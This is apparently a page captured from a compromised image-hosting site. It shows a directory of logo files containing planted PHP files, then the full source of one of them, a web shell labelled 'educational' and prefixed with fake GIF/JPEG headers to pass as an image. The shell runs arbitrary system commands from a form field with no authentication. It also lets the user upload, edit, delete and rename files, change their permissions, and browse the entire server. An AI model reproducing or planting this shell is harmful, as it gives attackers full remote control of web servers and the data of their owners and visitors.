GIF8 GIF8 GIF8 طےà JFIF    ےغ C     $.' ",#(7),01444'9=82<.342ےغ C 

📂 Current Directory:

📍 / / home / gtfgltqinv / primepng.com / images / all_img
Full path: /home/gtfgltqinv/primepng.com/images/all_img
⬆️ Go Up📁 /tmp🌐 Web Root🏠 /home

📁 NameSizePermissionsActions
📄 1766655444_Cocomelon_Logo_PNG.png244,303 B0644🗑️✏️
📄 1766655444_cocomeloniconpng.png238,352 B0644🗑️✏️
📄 1766655444_cocomelonpng.png117,871 B0644🗑️✏️
📄 1766655444_cocomelonpngtransparent.png42,373 B0644🗑️✏️
📄 1766730020_blueylogo.png48,327 B0644🗑️✏️
📄 1766730020_blueylogoblackandwhite.png48,800 B0644🗑️✏️
📄 1766730020_blueylogopng.png64,415 B0644🗑️✏️
📄 1766730020_blueylogotransparent.png160,961 B0644🗑️✏️
📄 1766816805_HelloKittyOutlinePNG.png66,701 B0644🗑️✏️
📄 1766816805_hellokittyheadpng.png64,170 B0644🗑️✏️
📄 1766816805_hellokittypngimage.png75,148 B0644🗑️✏️
📄 1766816805_pinkhellokittyheadpng.png61,411 B0644🗑️✏️
📄 1766942186_CapCutMobileAppIconPNG.png30,215 B0644🗑️✏️
📄 1766942186_SmallCapCutSymbolPNG.png35,701 B0644🗑️✏️
📄 1766942186_WhiteCapCutLogoPNG.png21,360 B0644🗑️✏️
📄 1766942186_capcutlogopngwithoutbackground.png28,966 B0644🗑️✏️
📄 1767065726_CocomelonFamilyPhoto.jpg180,913 B0644🗑️✏️
📄 1767066871_cocomelonafricanamericanfamilypng.png616,619 B0644🗑️✏️
📄 1767071426_OpenAI_Black_Logo_PNG.png32,129 B0644🗑️✏️
📄 1767071426_openaichatgptlogopng.png35,659 B0644🗑️✏️
📄 1767071426_openailogopng.png35,789 B0644🗑️✏️
📄 1767087158_muchomonpng.png218,101 B0644🗑️✏️
📄 1767088624_Alight_Motion_Official_Logo_PNG.png56,509 B0644🗑️✏️
📄 1767088624_alightmotionblackpng.png52,500 B0644🗑️✏️
📄 1767088624_alightmotionpng.png52,500 B0644🗑️✏️
📄 1767088624_alightmotionsymbolpng.png56,190 B0644🗑️✏️
📄 1767088624_lightmotionwhitetransparent.png50,968 B0644🗑️✏️
📄 1767249680_Kick_Black_Logo_PNG.png14,675 B0644🗑️✏️
📄 1767249680_Kick_Official_Logo_PNG.png24,820 B0644🗑️✏️
📄 1767249680_Kick_White_Logo_PNG.png14,719 B0644🗑️✏️
📄 1767249680_kicklogobeta.png15,392 B0644🗑️✏️
📄 1767249680_kicklogoblackwhitelogo.png14,190 B0644🗑️✏️
📄 1767249680_kicklogopng.png14,748 B0644🗑️✏️
📄 1767249876_Kick_Logo_Symbol_PNG.png40,539 B0644🗑️✏️
📄 1767431787_3dstitchimagepng.png136,035 B0644🗑️✏️
📄 1767431787_happystitchpng.png113,931 B0644🗑️✏️
📄 1767431787_stitchpng.png97,128 B0644🗑️✏️
📄 1767431787_stitchpngclipart.png127,245 B0644🗑️✏️
📄 1767431787_stitchtransparentpng.png129,615 B0644🗑️✏️
📄 1767435512_1750932721whitetransparentpng.png81,802 B0644🗑️✏️
📄 1767435512_demonslayerblacklogopng.png81,779 B0644🗑️✏️
📄 1767435512_demonslayerjapaneselogopng.png95,925 B0644🗑️✏️
📄 1767435512_demonslayerlogopng.png100,676 B0644🗑️✏️
📄 1767435512_demonslayerlogosymbol.png110,490 B0644🗑️✏️
📄 1768025159_Facebook_Official_Logo_PNG.png47,121 B0644🗑️✏️
📄 1768025159_Fb_Logo_PNG.png42,323 B0644🗑️✏️
📄 1768025159_facebookappiconroundedsquarebluepng.png39,158 B0644🗑️✏️
📄 1768025159_facebookbrandingminimalistwhitecircleglyph.png38,234 B0644🗑️✏️
📄 1768025159_facebookfullhorizontallogobluepng.png24,541 B0644🗑️✏️
📄 1768025159_facebooklogopng.png39,967 B0644🗑️✏️
📄 1768025159_facebooklogosecondaryblackroundstyle.png38,234 B0644🗑️✏️
📄 1768025159_facebooklogotransparent.png47,870 B0644🗑️✏️
📄 1768025159_facebookmarketingassetfulllogogradientstyle.png32,033 B0644🗑️✏️
📄 1768025159_facebookofficialbluecirclelogotransparent.png40,108 B0644🗑️✏️
📄 1768025159_modernfacebooklogoandtextgradientstyle.png28,348 B0644🗑️✏️
📄 1768025159_socialmediafootericonfacebookcirclelogo.png31,006 B0644🗑️✏️
📄 1768036056_facebook3dlogopng.png192,437 B0644🗑️✏️
📄 1768538408_Kinemaster_Official_Logo_PNG.png71,921 B0644🗑️✏️
📄 1768538408_kinemastercirclelogo_transparentpng.png48,494 B0644🗑️✏️
📄 1768538408_kinemasterlogopng.png39,748 B0644🗑️✏️
📄 1768629944_Filmora_App_Icon_Rounded_Square_PNG.png22,610 B0644🗑️✏️
📄 1768629944_Filmora_logo_and_text.png39,155 B0644🗑️✏️
📄 1768629944_Filmorafulllogowordmarkandicon.png37,050 B0644🗑️✏️
📄 1768629944_filmoralogocirclepng.png44,990 B0644🗑️✏️
📄 1768629944_filmoralogotransparentpng.png13,064 B0644🗑️✏️
📄 1768707557_lazadaiconpng.png107,660 B0644🗑️✏️
📄 1768707557_lazadalogoappiconpng.png49,883 B0644🗑️✏️
📄 1768707557_lazadalogocircletransparent.png90,036 B0644🗑️✏️
📄 1768707557_lazadalogopng.png57,334 B0644🗑️✏️
📄 1768709448_nagadlogopng.png80,419 B0644🗑️✏️
📄 1768709601_nagadlogoblackpng.png61,776 B0644🗑️✏️
📄 1768709601_nagadlogoenglishpng.png61,182 B0644🗑️✏️
📄 1768709601_nagadlogoiconpng.png69,699 B0644🗑️✏️
📄 1768709601_nagadlogosquarepng.png58,275 B0644🗑️✏️
📄 1768709601_nagadlogowhitepng.png61,776 B0644🗑️✏️
📄 1769940211_ChatGPT_Logo_Transparent.png70,837 B0644🗑️✏️
📄 1769940211_ChatGPT_Logo_with_Name.png49,048 B0644🗑️✏️
📄 1769940211_black-chatgpt-logo-png.png75,453 B0644🗑️✏️
📄 1769940211_chatgpt-logo-png.png78,114 B0644🗑️✏️
📄 1769940257_chatgpt Logo Symbol PNG.png45,502 B0644🗑️✏️
📄 1769941400_ChatGPT Logo Icon PNG for Website and App Design.png68,770 B0644🗑️✏️
📄 1770785317_TikTok App Logo PNG for Website Use.png43,890 B0644🗑️✏️
📄 1770785317_TikTok Brand Logo PNG Transparent Image.png51,666 B0644🗑️✏️
📄 1770785317_TikTok Logo PNG Square App Icon.png45,066 B0644🗑️✏️
📄 1770785317_TikTok Round Logo PNG Circle Shape.png93,341 B0644🗑️✏️
📄 1770785317_TikTok Square Logo PNG Transparent Background.png46,775 B0644🗑️✏️
📄 1770785317_neon-tiktok-logo (2).png37,306 B0644🗑️✏️
📄 1770785317_tiktok-logo-png (1).png29,317 B0644🗑️✏️
📄 1770785317_tiktok-logo-transparent.png78,742 B0644🗑️✏️
📄 1770785317_tiktok-official-logo-png.png50,563 B0644🗑️✏️
📄 1770821315_arrow-png-image.png9,311 B0644🗑️✏️
📄 1770821315_arrow-png.png25,105 B0644🗑️✏️
📄 1770821315_black-arrow-png.png6,348 B0644🗑️✏️
📄 1770821315_curved-arrow-png.png24,385 B0644🗑️✏️
📄 1770821315_down-arrow-png.png17,916 B0644🗑️✏️
📄 1770821315_red-arrow-png.png10,175 B0644🗑️✏️
📄 1770821315_red-round-arrow-png.png26,113 B0644🗑️✏️
📄 1770821315_up-arrow-png.png12,929 B0644🗑️✏️
📄 1770821663_Arrow-Head-PNG.png32,706 B0644🗑️✏️
📄 1770821663_black-thin-arrow-png.png12,858 B0644🗑️✏️
📄 1770821663_bow-and-arrow-png.png13,491 B0644🗑️✏️
📄 1770821663_up-arrow-transparent.png11,281 B0644🗑️✏️
📄 1770822264_Chevron-Arrow-PNG.png30,414 B0644🗑️✏️
📄 1770822264_Flat Arrow PNG Modern Style.png12,384 B0644🗑️✏️
📄 1770822264_Up Arrow PNG.png42,281 B0644🗑️✏️
📄 1770822264_arrow-transparent.png4,676 B0644🗑️✏️
📄 1770827249_bKash Brand Logo PNG Transparent Image.png24,080 B0644🗑️✏️
📄 1770827249_bKash Circle Icon PNG High Quality.png36,617 B0644🗑️✏️
📄 1770827249_bkash White Logo PNG Transparent.png12,702 B0644🗑️✏️
📄 1770827249_bkash-app-logo-png.png29,822 B0644🗑️✏️
📄 1770827249_bkash-icon-png.png19,175 B0644🗑️✏️
📄 1770827249_bkash-logo-png.png32,152 B0644🗑️✏️
📄 1770827371_bkash-agent-logo.png15,526 B0644🗑️✏️
📄 1770827558_Bangla bKash Logo PNG.png22,607 B0644🗑️✏️
📄 1771090513_sonic-image-png.png91,832 B0644🗑️✏️
📄 1771090513_sonic-png.png363,532 B0644🗑️✏️
📄 1771090513_sonic-transparent.png96,562 B0644🗑️✏️
📄 1771148534_Shopee App Icon PNG.png28,578 B0644🗑️✏️
📄 1771148534_Shopee Black Logo PNG.png16,461 B0644🗑️✏️
📄 1771148534_Shopee Square Logo PNG Transparent Background.png27,570 B0644🗑️✏️
📄 1771148534_shopee Large Logo PNG High Resolution.png27,196 B0644🗑️✏️
📄 1771148534_shopee logo black white.png16,533 B0644🗑️✏️
📄 1771148534_shopee-official-logo-png.png36,413 B0644🗑️✏️
📄 1771262382_Twitter X Circle Logo PNG Transparent.png59,399 B0644🗑️✏️
📄 1771262382_Twitter X Mobile App Logo PNG.png44,738 B0644🗑️✏️
📄 1771262382_old-twitter-logo-png.png18,222 B0644🗑️✏️
📄 1771262382_twitter-x-logo-png.png43,967 B0644🗑️✏️
📄 1771262382_white-twitter-x-logo.png43,920 B0644🗑️✏️
📄 1771320725_VS Logo Transparent Background.png28,937 B0644🗑️✏️
📄 1771320725_VS PNG Transparent.png41,950 B0644🗑️✏️
📄 1771320725_VS PNG.png54,077 B0644🗑️✏️
📄 1771320725_Versus sticker PNG.png24,906 B0644🗑️✏️
📄 1771320725_versus-png.png24,959 B0644🗑️✏️
📄 1771321798_Anime Blush Transparent.png71,333 B0644🗑️✏️
📄 1771321798_Anime-Blush-Png.png13,652 B0644🗑️✏️
📄 1771321798_Cute Anime Blush png.png20,539 B0644🗑️✏️
📄 1771321798_anime blush effect png.png27,469 B0644🗑️✏️
📄 1771321798_anime blush lines png.png21,934 B0644🗑️✏️
📄 1775723909_bluey-seeklogo.svg82,314 B0644🗑️✏️
📄 1782015208_amazon-prime-logo-png.png29,733 B0644🗑️✏️
📄 1782015208_amazon-prime-png.png31,793 B0644🗑️✏️
📄 1782015208_prime-day-logo-png.png27,814 B0644🗑️✏️
📄 1782015208_prime-video-logo-png.png28,620 B0644🗑️✏️
📄 1783878591_cocomelon-bus-image-transparent-background.png198,681 B0644🗑️✏️
📄 1783878591_cocomelon-bus-png.png322,144 B0644🗑️✏️
📄 1783878591_cocomelon-bus-transparent-png.png261,730 B0644🗑️✏️
📄 1783878591_school-bus-transparent-png.png156,945 B0644🗑️✏️
📄 1784215133_Logo Midjourney PNG.png53,544 B0644🗑️✏️
📄 1784215133_Midjourney Square Icon Logo PNG.png88,129 B0644🗑️✏️
📄 1784215133_Midjourney White App Logo PNG.png59,231 B0644🗑️✏️
📄 1784215133_midjourney Circle Logo Icon PNG.png59,231 B0644🗑️✏️
📄 1784215133_midjourney-Wordmark Text Logo PNG.png83,136 B0644🗑️✏️
📄 1784215133_midjourney-logo-png-transparent.png55,309 B0644🗑️✏️
📄 1784215133_midjourney-logo-png.png63,336 B0644🗑️✏️
📄 1784215133_midjourney-logo-transparent-png.png89,409 B0644🗑️✏️
📄 1784646284_hez.jpg.php0 B0644🗑️✏️
📄 1784817858_mywsh2.php10,754 B0644🗑️✏️
📄 CapCut Logo Transparent16,647 B0644🗑️✏️
📄 Cocomelon Family Transparent PNG507,279 B0644🗑️✏️
📄 capcut logo png21,364 B0644🗑️✏️
📄 error_log1,072 B0644🗑️✏️
📄 index.php109 B0644🗑️✏️
📄 logSorter.php0 B0644🗑️✏️
📂 pr1vd4yz_cgi📁0755🗑️✏️
📄 sn.jpg2,895 B0644🗑️✏️

📄 Contents of: 1784817858_mywsh2.php

GIF8
GIF8
GIF8
طےà JFIF      ےغ C 		

 $.' ",#(7),01444'9=82<.342ےغ C			
<?php
// =============================================
// EDUCATIONAL WEBSHELL - WITH CLICKABLE PATHS
// =============================================

// --- CONFIG ---
$base_path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$base_path = realpath($base_path) ?: getcwd();

// --- 1. COMMAND EXECUTION ---
if (isset($_POST['cmd'])) {
    echo "<pre style='background:#1e1e1e;color:#0f0;padding:15px;border-radius:8px;'>";
    system($_POST['cmd'] . " 2>&1");
    echo "</pre>";
}

// --- 2. FILE UPLOAD ---
if (isset($_FILES['uploaded_file'])) {
    $target = $base_path . "/" . basename($_FILES['uploaded_file']['name']);
    if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $target)) {
        echo "<div style='color:green;font-weight:bold;'>✅ Uploaded to: " . htmlspecialchars($target) . "</div>";
    } else {
        echo "<div style='color:red;font-weight:bold;'>❌ Upload failed (check permissions).</div>";
    }
}

// --- 3. CRUD: CREATE FILE ---
if (isset($_POST['new_file'])) {
    $filepath = $base_path . "/" . basename($_POST['new_file']);
    if (file_put_contents($filepath, $_POST['file_content'])) {
        echo "<div style='color:green;'>✅ Created: " . htmlspecialchars($filepath) . "</div>";
    } else {
        echo "<div style='color:red;'>❌ Failed to create file.</div>";
    }
}

// --- 4. CRUD: DELETE ---
if (isset($_GET['delete'])) {
    $target = $base_path . "/" . basename($_GET['delete']);
    if (unlink($target)) {
        echo "<div style='color:green;'>🗑️ Deleted: " . htmlspecialchars($target) . "</div>";
    } else {
        echo "<div style='color:red;'>❌ Delete failed.</div>";
    }
}

// --- 5. CRUD: RENAME ---
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
    $old = $base_path . "/" . basename($_POST['rename_old']);
    $new = $base_path . "/" . basename($_POST['rename_new']);
    if (rename($old, $new)) {
        echo "<div style='color:green;'>✏️ Renamed to: " . htmlspecialchars($new) . "</div>";
    } else {
        echo "<div style='color:red;'>❌ Rename failed.</div>";
    }
}

// --- 6. CHANGE PERMISSIONS ---
if (isset($_POST['chmod_file']) && isset($_POST['chmod_perms'])) {
    $target = $base_path . "/" . basename($_POST['chmod_file']);
    $perms = octdec($_POST['chmod_perms']);
    if (chmod($target, $perms)) {
        echo "<div style='color:green;'>🔑 Permissions changed on: " . htmlspecialchars($target) . " to " . $_POST['chmod_perms'] . "</div>";
    } else {
        echo "<div style='color:red;'>❌ Chmod failed.</div>";
    }
}

// ============================================
// MAIN UI WITH CLICKABLE BREADCRUMBS
// ============================================
$items = @scandir($base_path) ?: [];
echo "<div style='font-family:monospace;max-width:1100px;margin:auto;background:#f4f4f4;padding:25px;border-radius:12px;'>";

// --- CLICKABLE BREADCRUMB NAVIGATION ---
echo "<h2 style='color:#2c3e50;'>📂 Current Directory:</h2>";

$path_parts = explode('/', $base_path);
echo "<div style='background:white;padding:12px 15px;border-radius:8px;margin-bottom:15px;border:1px solid #ddd;'>";
echo "<span style='font-size:18px;'>📍 </span>";

// Root is always clickable
echo "<a href='?path=/' style='color:#3498db;text-decoration:none;font-weight:bold;font-size:18px;'>/</a>";

$cumulative_path = "";
$total_parts = count($path_parts);
foreach ($path_parts as $index => $part) {
    if (empty($part)) continue;
    $cumulative_path .= "/" . $part;
    
    $is_last = ($index == $total_parts - 1);
    $is_second_last = ($index == $total_parts - 2);
    
    if ($is_last) {
        // Current directory - show as bold text
        echo " / <span style='color:#2c3e50;font-weight:bold;font-size:18px;background:#e8f4f8;padding:2px 10px;border-radius:4px;'>" . htmlspecialchars($part) . "</span>";
    } else {
        // Clickable parent directory
        echo " / <a href='?path=" . urlencode($cumulative_path) . "' style='color:#3498db;text-decoration:none;font-weight:bold;font-size:18px;hover:underline;'>" . htmlspecialchars($part) . "</a>";
    }
}

// Copy button
echo " <button onclick='navigator.clipboard.writeText(\"" . htmlspecialchars($base_path) . "\")' style='background:#2c3e50;color:white;border:0;border-radius:4px;padding:4px 10px;margin-left:10px;cursor:pointer;font-size:14px;'>📋 Copy</button>";
echo "</div>";

// --- Full path display ---
echo "<div style='background:#e8f4f8;padding:8px 15px;border-radius:6px;margin-bottom:15px;border-left:4px solid #3498db;'>";
echo "<strong>Full path:</strong> <code style='background:#fff;padding:4px 8px;border-radius:4px;font-size:14px;'>" . htmlspecialchars($base_path) . "</code>";
echo "</div>";

// --- Navigation shortcuts ---
$parent = dirname($base_path);
if ($parent != $base_path) {
    echo "<div style='margin-bottom:15px;'>";
    echo "<a href='?path=" . urlencode($parent) . "' style='background:#3498db;color:white;padding:8px 15px;text-decoration:none;border-radius:6px;'>⬆️ Go Up</a>";
    echo "<a href='?path=/tmp' style='background:#e67e22;color:white;padding:8px 15px;text-decoration:none;border-radius:6px;margin-left:10px;'>📁 /tmp</a>";
    echo "<a href='?path=/var/www/html' style='background:#27ae60;color:white;padding:8px 15px;text-decoration:none;border-radius:6px;margin-left:10px;'>🌐 Web Root</a>";
    echo "<a href='?path=/home' style='background:#8e44ad;color:white;padding:8px 15px;text-decoration:none;border-radius:6px;margin-left:10px;'>🏠 /home</a>";
    echo "</div>";
}
echo "<hr>";

// --- FILE LIST ---
echo "<table style='width:100%;border-collapse:collapse;background:white;border-radius:8px;overflow:hidden;'>";
echo "<tr style='background:#2c3e50;color:white;'><th>📁 Name</th><th>Size</th><th>Permissions</th><th>Actions</th></tr>";

foreach ($items as $item) {
    if ($item == '.' || $item == '..') continue;
    $fullpath = $base_path . "/" . $item;
    $is_dir = is_dir($fullpath);
    $size = $is_dir ? "📁" : number_format(filesize($fullpath)) . " B";
    $perms = substr(sprintf('%o', fileperms($fullpath)), -4);
    
    echo "<tr style='border-bottom:1px solid #ddd;'>";
    echo "<td style='padding:10px;'>";
    if ($is_dir) {
        echo "<a href='?path=" . urlencode($fullpath) . "' style='color:#2980b9;font-weight:bold;'>📂 $item</a>";
    } else {
        echo "<a href='?path=" . urlencode($base_path) . "&view=" . urlencode($item) . "' style='color:#27ae60;'>📄 $item</a>";
    }
    echo "</td>";
    echo "<td style='padding:10px;'>$size</td>";
    echo "<td style='padding:10px;'>$perms</td>";
    echo "<td style='padding:10px;'>";
    echo "<a href='?path=" . urlencode($base_path) . "&delete=" . urlencode($item) . "' onclick='return confirm(\"Delete $item?\")' style='color:red;margin-right:15px;'>🗑️</a>";
    echo "<a href='?path=" . urlencode($base_path) . "&edit=" . urlencode($item) . "' style='color:#f39c12;margin-right:15px;'>✏️</a>";
    echo "</td></tr>";
}

echo "</table><hr>";

// --- VIEW FILE ---
if (isset($_GET['view'])) {
    $filepath = $base_path . "/" . basename($_GET['view']);
    if (file_exists($filepath) && is_file($filepath)) {
        echo "<h3>📄 Contents of: " . htmlspecialchars($_GET['view']) . "</h3>";
        echo "<pre style='background:#1e1e1e;color:#d4d4d4;padding:20px;border-radius:8px;overflow:auto;max-height:400px;'>";
        echo htmlspecialchars(file_get_contents($filepath));
        echo "</pre><hr>";
    }
}

// --- EDIT FILE ---
if (isset($_GET['edit'])) {
    $filepath = $base_path . "/" . basename($_GET['edit']);
    if (file_exists($filepath) && is_file($filepath)) {
        echo "<h3>✏️ Editing: " . htmlspecialchars($_GET['edit']) . "</h3>";
        echo "<form method='POST'>";
        echo "<textarea name='file_content' rows='10' style='width:100%;font-family:monospace;'>" . htmlspecialchars(file_get_contents($filepath)) . "</textarea>";
        echo "<input type='hidden' name='new_file' value='" . htmlspecialchars($_GET['edit']) . "'>";
        echo "<br><button type='submit' style='background:#3498db;color:white;padding:10px 20px;border:0;border-radius:6px;margin-top:10px;'>💾 Save</button>";
        echo "</form><hr>";
    }
}

// --- UI: COMMAND ---
echo "<h3>💻 Execute Command</h3>";
echo "<form method='POST'>";
echo "<input type='text' name='cmd' placeholder='e.g., whoami, ls -la, cat flag.txt' style='width:70%;padding:8px;border:1px solid #ccc;border-radius:6px;'>";
echo "<button type='submit' style='background:#e67e22;color:white;padding:8px 20px;border:0;border-radius:6px;'>▶️ Run</button>";
echo "</form><hr>";

// --- UI: UPLOAD ---
echo "<h3>📤 Upload File</h3>";
echo "<form method='POST' enctype='multipart/form-data'>";
echo "<input type='file' name='uploaded_file' required style='padding:8px;'>";
echo "<button type='submit' style='background:#2ecc71;color:white;padding:8px 20px;border:0;border-radius:6px;'>⬆️ Upload</button>";
echo "</form><hr>";

// --- UI: CREATE ---
echo "<h3>🆕 Create New File</h3>";
echo "<form method='POST'>";
echo "<input type='text' name='new_file' placeholder='filename.txt' style='width:30%;padding:8px;border:1px solid #ccc;border-radius:6px;'>";
echo "<textarea name='file_content' rows='3' placeholder='Content...' style='width:70%;display:block;margin-top:8px;padding:8px;border:1px solid #ccc;border-radius:6px;'></textarea>";
echo "<button type='submit' style='background:#3498db;color:white;padding:8px 20px;border:0;border-radius:6px;margin-top:8px;'>📝 Create</button>";
echo "</form><hr>";

// --- UI: RENAME ---
echo "<h3>✏️ Rename File</h3>";
echo "<form method='POST'>";
echo "<input type='text' name='rename_old' placeholder='Old name' style='width:25%;padding:8px;border:1px solid #ccc;border-radius:6px;'>";
echo "<input type='text' name='rename_new' placeholder='New name' style='width:25%;padding:8px;border:1px solid #ccc;border-radius:6px;'>";
echo "<button type='submit' style='background:#f39c12;color:white;padding:8px 20px;border:0;border-radius:6px;'>➡️ Rename</button>";
echo "</form><hr>";

// --- UI: CHMOD ---
echo "<h3>🔑 Change Permissions</h3>";
echo "<form method='POST'>";
echo "<input type='text' name='chmod_file' placeholder='filename' style='width:25%;padding:8px;border:1px solid #ccc;border-radius:6px;'>";
echo "<input type='text' name='chmod_perms' placeholder='e.g., 755' style='width:15%;padding:8px;border:1px solid #ccc;border-radius:6px;'>";
echo "<button type='submit' style='background:#8e44ad;color:white;padding:8px 20px;border:0;border-radius:6px;'>🔓 Apply</button>";
echo "</form><hr>";

echo "</div>";
?>

💻 Execute Command


📤 Upload File


🆕 Create New File


✏️ Rename File


🔑 Change Permissions